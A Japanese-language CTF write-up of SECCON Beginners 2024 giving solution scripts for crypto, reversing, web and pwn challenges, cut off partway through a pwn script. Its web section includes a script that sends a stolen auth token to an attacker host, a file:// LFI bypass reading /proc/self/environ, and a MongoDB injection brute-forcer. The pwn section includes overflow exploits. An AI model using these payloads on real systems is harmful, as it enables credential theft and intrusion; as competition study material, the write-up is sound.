SECCON Beginners CTF 2024 に参加しました.
962 チーム中 6 位だったので,一人にしてはかなり頑張っていると思います.
ただ,Crypto は全完できたけど理解できていない問題があったり,Web の難しい問題は全然わからなかったり,課題がかなりある気がします.
ペアリング,グレブナー基底,ブロックチェーン,カーネルエクスプロイトは前々から勉強しなあかんなと思っていたけど避けてきたので,これを機に勉強します.多分.
Crypto
Safe Prime
author:ptr-yudai
beginner
Using a safe prime makes RSA secure, doesn't it?
Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a
$n = p \cdot (2 p + 1)$ で構成されている.
$n$ が $p$ のみで決まるので,二分探索する.
from Crypto.Util.number import *
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537
def f(p):
return 2 * p +1
def search(n):
lb = 0
ub = 2**1024
while lb != ub:
p = (lb + ub) // 2
if p * f(p) < n:
lb = p
else:
ub = p - 1
print(lb, ub)
return p
p = search(n)
q = f(p)
print(p)
print(q)
assert p * q == n
phi = (p-1) * (q-1)
d = inverse(e, phi)
m = long_to_bytes(pow(c, d, n))
print(m)
math
author:task4233
easy
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc
$p, q$ は素数で,$a = p - x,; b = q -x$ とすると,$x, a, b$ は平方数となっている.
通常の RSA のパラメータに加えて $a \cdot b$ が与えられている.
また,$a$ は $A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169$ で割り切れて,$b$ は $B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661$ で割り切れることがわかっている.
$A, B$ はともに素数なので,$a = a'^2 = (k A)^2,\quad b = b'^2 = (l B)^2$ と表すことができて,$ab = k^2 l^2 A^2 B^2$ となる.
$ab / (A^2 B^2) = 1002777341573073149099549678043369$ を素因数分解すると $3^2 \cdot 173^2 \cdot 199^2 \cdot 306606827773^2$ となる.
$a \cdot b = (p - x) \cdot (q - x) = n - (p + q) x + x^2$
$\therefore x^2 + (a + b) x + (ab - n) = 0$
$k, l$ の組み合わせの数が少ないので,総当りして平方数となるような $x$ を探す.
from Crypto.Util.number import *
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
factors = [3, 173, 199, 306606827773]
for bits in range(1<<4):
k = 1
l = 1
for i in range(len(factors)):
if (bits >> i) & 1 == 0:
k *= factors[i]
else:
l *= factors[i]
a = (k**2) * (A**2)
b = (l**2) * (B**2)
sq = (a - b)**2 + 4 * n
if is_square(sq):
x = (- (a + b) + int(gmpy2.isqrt(sq))) // 2
assert x**2 + (a + b) * x + (ab - n) == 0
assert is_square(x)
break
p = int(a + x)
q = int(b + x)
assert n == p * q
phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(cipher, d, n)))
ARES
author:ptr-yudai
medium
ARES stands for Advanced RSA Encryption Standard.
nc ares.beginners.seccon.games 5000
ARES.tar.gz 91ee14acf67ffcb55f41f589a2a0c444241d9bf0
ARES
は RSA で暗号化してから AES の CBC モードで暗号化していて,任意の平文,暗号文を投げるとそれぞれ暗号化,復号化してくれる.
$m^e = \text{AES_Dec}(\text{ct})$ となるような $\text{ct}$ がほしい.
今回は CBC モードが使われているので,$\text{ct}$ の後ろのブロックから順に決定していくことで所望の $\text{ct}$ が得られる.
$m^e$ のブロックを $M_0, M_1, \dots, M_7$,$\text{ct}$ のブロックを $C_0, C_1, \dots, C_7$ とする.
$IV = 0, C_7 = 0$ として
$c_7' = \text{RSA_Dec}(C_7') = \text{AES_Dec}(\text{AES_Dec}(IV + C_7))$
を求める.
ここで $c_7' = \text{int}(C_7')^d \mod{n}$ なので
$\text{int}(C_7') = c_{7}'^e \mod{n}$
とすると $C_7'$ が求まる.
$C_6 = M_7 \oplus C_7'$ とする.
次に,$IV = 0$ として
$c_6' = \text{RSA_Dec}(C_6') = \text{AES_Dec}(\text{AES_Dec}(IV + C_6))$
を求める.
同様に $c_6' = \text{int}(C_6')^d \mod{n}$ なので
$\text{int}(C_6') = c_{6}'^e \mod{n}$
とすると $C_6'$ が求まる.
$C_5 = M_6 \oplus C_6'$ とする.
これを繰り返すことで $\text{ct}$ が求められる.
ただし $n$ が与えられていないので,求める必要がある.
サーバに平文を送るときは整数であれば負の値でも良いので $-1$ を投げて,それを復号すると $n - 1$ が得られる.
from pwn import *
from Crypto.Util.number import long_to_bytes
N_BITS = 1024
e = 65537
def sovlve():
io = remote('ares.beginners.seccon.games', 5000)
enc_flag = int(io.recvline().decode().split()[-1], 16)
enc_flag_bytes = int.to_bytes(enc_flag, N_BITS//8, 'big')
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'm: ', str(-1).encode())
c = io.recvline().decode().split()[-1]
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'c: ', c.encode())
n_1 = int(io.recvline().decode().split()[-1])
n = n_1 + 1
ct = b'\x00' * 16
for i in range(len(enc_flag_bytes) // 16):
if i == 0:
ct_block = ct
enc_flag_block = enc_flag_bytes[-16:]
else:
ct_block = ct[-16 * (i + 1) : -16 * i]
enc_flag_block = enc_flag_bytes[-16 * (i + 1) : -16 * i]
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'c: ', (b'\x00' * 16 + ct_block).hex().encode())
buf = int(io.recvline().decode().split()[-1])
buf = pow(buf, e, n)
buf = buf.to_bytes(16, 'big')
ct = bxor(buf, enc_flag_block) + ct
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'c: ', ct.hex().encode())
flag = int(io.recvline().decode().split()[-1])
print(long_to_bytes(flag))
def bxor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
if __name__ == '__main__':
sovlve()
bless
author:ptr-yudai,kanon
hard
ECDLP on two different curves...?
bless.tar.gz 484c9761181d1929b2126a18ea6e231deec3cbfb
あまり理解できていないですが.この辺を見て解きました.
BLS12-381 を調べているとペアリングがどうのこうのって話が出てくる.
$e(a G_1, G_2) = e(G_1, a G_2) = e(G_1, G_2)^a$ が成り立つらしい.
ただし,$G_1, G_2$ の位数が同じじゃないと行けないらしいが,この問題では $G_2$ を適当にとってきている.
h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5
を $G_2$ とかにかければいける.
よって,$e(sG_1, h_2 \cdot tG_2)^c = e(G_1, h_2 \cdot cstG_2)$ が成り立つような $c \quad (0 \le c < 256)$ を探せば良い.
import json
q = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
r = 0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001
F = GF(q, x, x)
F2.<i> = GF(q^2, "i", x^2 + 1)
F12.<w> = GF(q**12, "w", x**12 - 2*x**6 + 2)
i12 = w**6 - 1
z = w^-1
E1 = EllipticCurve(F, [0, 4])
E2 = EllipticCurve(F2, [0, 4*(1+i)])
E12 = EllipticCurve(F12, [0, 4])
h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5
def F2_to_F12(coeffs):
assert len(coeffs) == 2
c = coeffs[0]
d = coeffs[1]
x = c + d*i12
return x
def sextic_twist(Px, Py):
x = F2_to_F12(Px)
y = F2_to_F12(Py)
return E12(z^2*x, z^3*y)
G1 = E12(0x17F1D3A73197D7942695638C4FA9AC0FC3688C4F9774B905A14E3A3F171BAC586C55E83FF97A1AEFFB3AF00ADB22C6BB, 0x08B3F481E3AAA0F1A09E30ED741D8AE4FCF5E095D5D00AF600DB18CB2C04B3EDD03CC744A2888AE40CAA232946C5E7E1)
with open('./bless/output.json') as f:
json_datas = json.load(f)
flag = []
for json_data in json_datas:
sG1_x = json_data['P']['x']
sG1_y = json_data['P']['y']
sG1 = E12(sG1_x, sG1_y)
tG2_x = json_data['Q']['x']
tG2_y = json_data['Q']['y']
tG2 = sextic_twist(tG2_x, tG2_y)
cstG2_x = json_data['R']['x']
cstG2_y = json_data['R']['y']
cstG2 = sextic_twist(cstG2_x, cstG2_y)
e_P1 = sG1.weil_pairing(h2 * tG2, r)
e_P2 = G1.weil_pairing(h2 * cstG2, r)
for c in range(256):
if e_P1^c == e_P2:
flag.append(c)
print(c)
break
else:
print('ERROR')
exit()
print(bytes(flag))
Try hard in my style
author:kanon
hard
ok ok, its Franklin-Reiter's Rel... wait??
nc try-hard-in-my-style.beginners.seccon.games 5000
Try_hard_in_my_style.tar.gz 2b8b13a7cd4a25e9ef48e18bc6dbed83c74cf894
RSA で暗号化されている値は以下のようになっている.
$c_1 = (m + s)^e \mod{n}$
$c_2 = (m + s t_1)^e \mod{n}$
$c_3 = (m t_2 + s)^e \mod{n}$
($s$ は未知なランダムな値)
変数を減らしたいのでグレブナー基底を使う (あんまり理解できていないので Writeup: ASIS CTF 2021 - madras を参考にしました).
$y$ を $m$,$x$ を $s$ としてグレブナー基底を求めると
$y^e + A$ ($A$ は定数)
が得られる.
$n - A$ とすると,これが $m^e$ なので,サーバに $e$ 回接続して異なる $n$ に対する $m^e$ を得て Hastad's Broadcast Attack を使う.
from pwn import *
from Crypto.Util.number import long_to_bytes
e = 17
def get_value():
io = remote('try-hard-in-my-style.beginners.seccon.games', '5000')
e = int(io.recvline().decode().split('=')[-1])
n = int(io.recvline().decode().split('=')[-1])
t1 = int(io.recvline().decode().split('=')[-1])
t2 = int(io.recvline().decode().split('=')[-1])
c1 = int(io.recvline().decode().split('=')[-1])
c2 = int(io.recvline().decode().split('=')[-1])
c3 = int(io.recvline().decode().split('=')[-1])
print(f"{e = }")
print(f"{n = }")
print(f"{t1 = }")
print(f"{t2 = }")
print(f"{c1 = }")
print(f"{c2 = }")
print(f"{c3 = }")
PR.<x,y> = PolynomialRing(Zmod(n))
f = (x + y)^e - c1
g = (t1 * x + y)^e - c2
h = (x + t2 * y)^e - c3
polys = [f, h, g]
I = Ideal(polys)
basis = I.groebner_basis()
print(basis[0])
return int(n), int(n-list(basis[0])[1][0])
if __name__ == '__main__':
cs = []
ns = []
for _ in range(e):
n, c = get_value()
cs.append(c)
ns.append(n)
me = int(crt(cs, ns))
m = int(me^(1/e))
print(long_to_bytes(m))
Reversing
assemble
author:hi120ki
beginner
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games
assemble.tar.gz dc12b54445e8b38e25949646ed960304b19d118d
アセンブリを書いていく問題.
命令は mov, push, syscall のみ使える.
Challenge 1
Please write 0x123 to RAX!
mov rax, 0x123
Challenge 2
Please write 0x123 to RAX and push it on stack!
mov rax, 0x123
push rax
Challenge 3
Please use syscall to print Hello on stdout!
mov rcx, 478560413000
push rcx
mov rdx, 5
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
Challenge 4
Please read flag.txt file and print it to stdout!
push 0
mov rcx, 8392585648256674918
push rcx
mov rdx, 0
mov rsi, 0
mov rdi, rsp
mov rax, 2
syscall
mov rdx, 0x100
mov rsi, rsp
mov rdi, rax
mov rax, 0
syscall
mov rdx, 0x34
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
cha-ll-enge
author:hi120ki
easy
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce
全然わからなかったので,ChatGPT に聞くと LLVM であることがわかる.
そのまま GPT-4o に
以下の LLVM の細かい動作を知りたいので,同じ処理をする C 言語のプログラムを書いてください.
て聞くと以下のコードを吐いてくれた
#include <stdio.h>
#include <string.h>
const int key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22,
125, 34, 21, 116, 23, 124, 35, 18, 35, 85,
56, 103, 14, 96, 20, 39, 85, 56, 93, 57,
8, 60, 72, 45, 114, 0, 101, 21, 103, 84,
39, 66, 44, 27, 122, 77, 36, 20, 122, 7};
int main() {
char input[70];
int temp1[50];
int correct_count = 0;
int result = 0;
long i = 0;
printf("Input FLAG : ");
scanf("%s", input);
// Check if the length of input is 49
if (strlen(input) != 49) {
puts("Incorrect FLAG.");
return 1;
}
// Process each character of the input
while (i < 49) {
int c = (int)input[i];
int k1 = key[i];
int xor1 = c ^ k1;
int k2 = key[i + 1];
int xor2 = xor1 ^ k2;
// Check if the result of the XOR operations is zero
if (xor2 == 0) {
correct_count++;
}
i++;
}
// Check if the count of correct XOR results is 49
if (correct_count == 49) {
printf("Correct! FLAG is %s.\n", input);
return 0;
} else {
puts("Incorrect FLAG.");
return 1;
}
}
lst = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
for i in range(len(lst) - 1):
print(chr(lst[i] ^ lst[i + 1]), end='')
print()
onstruct
author:Arata
medium
使っていない関数がたくさんある……?
construct.tar.gz 2a78b30c7cbc7e4492e20f18463341c2028c2bee
Ghidra でデコンパイルしたけど,関数を呼び出している順番がわからなかった.
ltrace を繰り返し使えば調べられる.
└─< ltrace ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
strlen("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...) = 32
strncmp("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"..., "c0_d4yk261hbosje893w5igzfrvaumql"..., 2) = 0
strncmp("ns7ruc70rs_3as3_h1d1ng_7h1ngs!", "nske1cgaiylz0mwfv7p9r32h6qj8bt4d"..., 2) = 0
strncmp("7ruc70rs_3as3_h1d1ng_7h1ngs!", "7rvb9qh5_1ops6jg3ykf8x0emtcind24"..., 2) = 0
strncmp("uc70rs_3as3_h1d1ng_7h1ngs!", "uchnkyi6wb2ld507p8g3stfej1rzqmo", 2) = 0
strncmp("70rs_3as3_h1d1ng_7h1ngs!", "701zvbdfp4ioqc2hy_juegkmatls3", 2) = 0
strncmp("rs_3as3_h1d1ng_7h1ngs!", "rsl841qo6_0dwg529zanmbpvxe7", 2) = 0
strncmp("_3as3_h1d1ng_7h1ngs!", "_3erat9f6mx854pyol7zkvdwn", 2) = 0
strncmp("as3_h1d1ng_7h1ngs!", "astioc294n0lxu38fdk_ypm", 2) = 0
strncmp("3_h1d1ng_7h1ngs!", "3_8wk7li6uqfmhe50bdsx", 2) = 0
strncmp("h1d1ng_7h1ngs!", "h14ktywpzma2l7nr685", 2) = 0
strncmp("d1ng_7h1ngs!", "d18egbnyw6rm_tqjh", 2) = 0
strncmp("ng_7h1ngs!", "ng3mwpzduqth_7o", 2) = 0
strncmp("_7h1ngs!", "_74sz2gkvaxch", 2) = 0
strncmp("h1ngs!", "h1lxgum48es", 2) = 0
strncmp("ngs!", "ngduzx_ai", 2) = 0
strncmp("s!", "s!om347a", 2) = 0
puts("CONGRATULATIONS!"CONGRATULATIONS!
) = 17
printf("The flag is ctf4b{%s}\n", "c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
) = 52
_exit(0 <no return ...>
+++ exited (status 0) +++
former-seccomp
author:Arata
hard
フラグチェック用のシステムコールを自作してみました
former-seccomp.tar.gz e84744722afde5756640fccb12afd01654f77c25
Ghidra でデコンパイルすると RC4 の関数が見つかる.
そこを呼び出している部分を見ると入力した値と比較している処理が見つかる.
undefined8 check_flag(char *flag)
{
size_t flag_len;
undefined8 uVar1;
size_t key_len;
long ct;
ulong i;
long i_;
flag_len = strlen(flag);
if (flag_len == 0x1a) {
for (i = 0; key_len = strlen(&key), i < key_len; i = i + 1) {
(&key)[i] = (char)i + 0x20U ^ (&key)[i];
}
ct = rc4(&enc_data,&key);
for (i_ = 0; (flag[i_] != '\0' && (*(char *)(i_ + ct) != '\0')); i_ = i_ + 1) {
if (flag[i_] != *(char *)(i_ + ct)) {
return 0;
}
}
uVar1 = 1;
}
else {
uVar1 = 0;
}
return uVar1;
}
def KSA(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def RPGA(S):
S = S[:]
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
key = S[(S[i] + S[j]) % 256]
yield key
def RC4(plaintext, key):
S = KSA(key)
return bytes([x ^ y for x, y in zip(plaintext, RPGA(S))])
with open('./former-seccomp/former-seccomp', 'rb') as f:
data = f.read()
enc_data = data[0x3010 : 0x3010 + 0x1a]
key = data[0x3030 : 0x3030 + 10]
key = list(key)
for i in range(len(key)):
key[i] = i + 0x20 ^ key[i]
key = bytes(key)
flag = RC4(enc_data, key)
print(f'ctf4b{{{flag.decode()}}}')
Misc
getRank
author:xryuseix
easy
https://getrank.beginners.seccon.games
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
10 ** 255
よりも大きな値を入れたいが,以下のようにいくつか制限がある.
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
普通に入力してもだめなので,文字列として入力できる最大長で,16 進数表記で最大の値を入れてみると Infinity
となることがわかる.
score = parseInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')
// >>> Infinity
Infinity
は
score = Math.floor(score / 10);
の処理をしても Infinity
のままになる.
clamre
author:n01e0
easy
アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games
clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c
flag.ldv
の中に正規表現がある.
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
\x63\x74\x66
とかはそのまま ASCII で変換する.
4
とかはそのまま 4
になる.
()
でくくられているのはグループになっていて,\7
とかは 7 番目のグループを指す (ただし,先頭の (\x63\x74\x66)
が 2 番目).
flag = b''
flag += b'\x63\x74\x66' ## 2
flag += b'4' ## 3
flag += b'\x62' ## 4
flag += b'{B' ## 5
flag += b'\x72' ## 6
flag += b'\x33' ## 7
flag += b'4'
flag += b'\x6b1' ## 8
flag += b'\x6e\x67' ## 9
flag += b'\x5f' ## 10
flag += b'4'
flag += b'\x6c' ## 11
flag += b'\x6c'
flag += b'\x5f'
flag += b'\x54\x68' ## 12
flag += b'\x33'
flag += b'\x5f'
flag += b'\x480' ## 13
flag += b'\x75' ## 14
flag += b'5' ## 15
flag += b'\x33'
flag += b'\x5f'
flag += b'\x52' ## 16
flag += b'\x75'
flag += b'\x6c'
flag += b'\x33'
flag += b'5' ## 17
flag += b'}'
print(flag.decode())
Web
wooorker
author:yuasa
beginner
adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
脆弱性報告bot
wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52
next
に URL を指定するとログイン後に token
をリクエストパラメータに設定して,そこに飛んでくれる.
window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
login?next=https://my.server.com
を bot に提出する.
└─< curl https://wooorker.beginners.seccon.games/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0MjY2LCJleHAiOjE3MTg0Njc4NjZ9.RDtWtqcoMSSX8AwMbj9ylD7N27VklOnUg4Bzl4Unmbw"
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}
ssrforlfi
author:Satoki
easy
SSRF? LFI? ひょっとしてRCE?
https://ssrforlfi.beginners.seccon.games
ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f
以下のように色々対策されている
def ssrforlfi():
url = request.args.get("url")
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
通常のファイルパスとしては存在しないが,URL としては有効なものを指定すると,file スキーマの対策をバイパスできる.
完全修飾絶対 URI のフォーマットは以下のようになっているので,スキーマとパスの間にホスト名が入れられる
scheme: | // | user:password@ | host | :port | /path | ?query | #fragment
https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ
とすると,以下のように環境変数が取得できる.
UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
double-leaks
author:task4233
medium
Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games
double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed
MongoDB で SQLi みたいなことをする.
以下のようにパラメータを JSON で受け取っているので,文字列以外も投げられる.
@app.route("/login", methods=["POST"])
def login():
username = request.json["username"]
password_hash = request.json["password_hash"]
if waf(password_hash):
return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400
try:
client = get_mongo_client()
db = client.get_database("double-leaks")
users_collection = db.get_collection("users")
user = users_collection.find_one(
{"username": username, "password_hash": password_hash}
)
if user is None:
return jsonify({"message": "Invalid Credential"}), 401
# Confirm if credentials are valid just in case :smirk:
if user["username"] != username or user["password_hash"] != password_hash:
return jsonify({"message": "DO NOT CHEATING"}), 401
return jsonify(
{"message": f"Login successful! Congrats! Here is the flag: {flag}"}
)
except Exception:
traceback.print_exc(file=sys.stderr)
return jsonify({"message": "Internal Server Error"}), 500
finally:
client.close()
MongoDBのcollection基本操作をpythonで(pymongo) を見ると $lt
とか $ne
が使えることがわかる.
import requests
import json
from string import printable
URL = 'https://double-leaks.beginners.seccon.games/login'
def search_username():
username = ''
while True:
for c in printable:
if c in '.*\\+?|^$':
c = '\\' + c
data = {
'username': {
'$regex': f'^{username + c}.*'
},
'password_hash':{
'$ne': 0
}
}
res = requests.post(URL, json=data)
res = json.loads(res.text)
if res['message'] == 'DO NOT CHEATING':
username += c
print(username)
break
else:
break
print(f'{username = }')
return username
def search_passwdhash(username):
lb = 0
ub = 1 << 256
while lb != ub:
mid = (lb + ub) // 2
data = {
'username': username,
'password_hash':{
'$lte': f'{mid:032x}'
}
}
res = requests.post(URL, json=data)
res = json.loads(res.text)
if res['message'] == 'DO NOT CHEATING':
ub = mid
else:
lb = mid + 1
print(f'passwdhash = {lb:032x}')
return f'{lb:032x}'
if __name__ == '__main__':
username = search_username()
search_passwdhash(username)
wooorker2
author:yuasa
medium
トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
https://wooorker2.beginners.seccon.games
脆弱性報告bot
wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567
wooorker とは違い,フラグメント識別子に token が与えられるのでリクエストには含まれない.
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
最初に next
で訪れるサイトに JavaScript のコードを配置することで token を送信させることを考える.
attacker.server.1
に以下を配置する (;
を含むと失敗するっぽい).
<script>window.location.href = `https://attacker.server.2?t=${location.hash.split('=')[1]}`</script>
以下を提出すると,attacker.server.2
に token が届く
login?next=https://attacker.server.1
Pwnable
simpleoverflow
author:n01e0
beginner
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
buf
が BOF できて,その直後に is_admin
があるので,適当に入れればいける.
from pwn import *
io = remote('simpleoverflow.beginners.seccon.games', 9000)
io.sendlineafter(b'name:', b'\xff' * 11)
io.interactive()
simpleoverwrite
author:n01e0
easy
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 258a74ec5be217dd8cdf46c428866e52315e4312
セキュリティ機構
└─< checksec --file=./simpleoverwrite/chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 44) Symbols No 0 3 ./simpleoverwrite/chall
BOF ができて canary も無いので,リターンアドレスを win
に書き換える.
from pwn import *
io = remote('simpleoverwrite.beginners.seccon.games', 9001)
io.sendlineafter(b'input:', b'A' * 18 + p64(0x0000000000401186))
io.interactive()
pure-and-easy
author:n01e0
easy
nc pure-and-easy.beginners.seccon.games 9000
pure-and-easy.tar.gz 1318c46e8f8908a7b2ec3204b4a30205e05ea3b2
セキュリティ機構
└─< checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 46) Symbols No 0 3 chall
書式文字列攻撃ができるので,exit
関数の GOT を win
関数に書き換える.
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 9
[0x404000] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1
[0x404010] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2
[0x404018] alarm@GLIBC_2.2.5 -> 0x7ffff7cea540 (alarm) ◂— endbr64
[0x404020] read@GLIBC_2.2.5 -> 0x401076 (read@plt+6) ◂— push 4
[0x404028] fgets@GLIBC_2.2.5 -> 0x401086 (fgets@plt+6) ◂— push 5
[0x404030] setvbuf@GLIBC_2.2.5 -> 0x7ffff7c815f0 (setvbuf) ◂— endbr64
[0x404038] fopen@GLIBC_2.2.5 -> 0x4010a6 (fopen@plt+6) ◂— push 7
[0x404040] exit@GLIBC_2.2.5 -> 0x4010b6 (exit@plt+6) ◂— push 8
└─< nm chall | grep win
0000000000401341 T win
以下のように $hn
で 2 バイトずつ書き込もうとするとローカルではうまく行くがサーバでは失敗する (出力する文字が長すぎて途中で打ち切られる?)
from pwn import *
binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
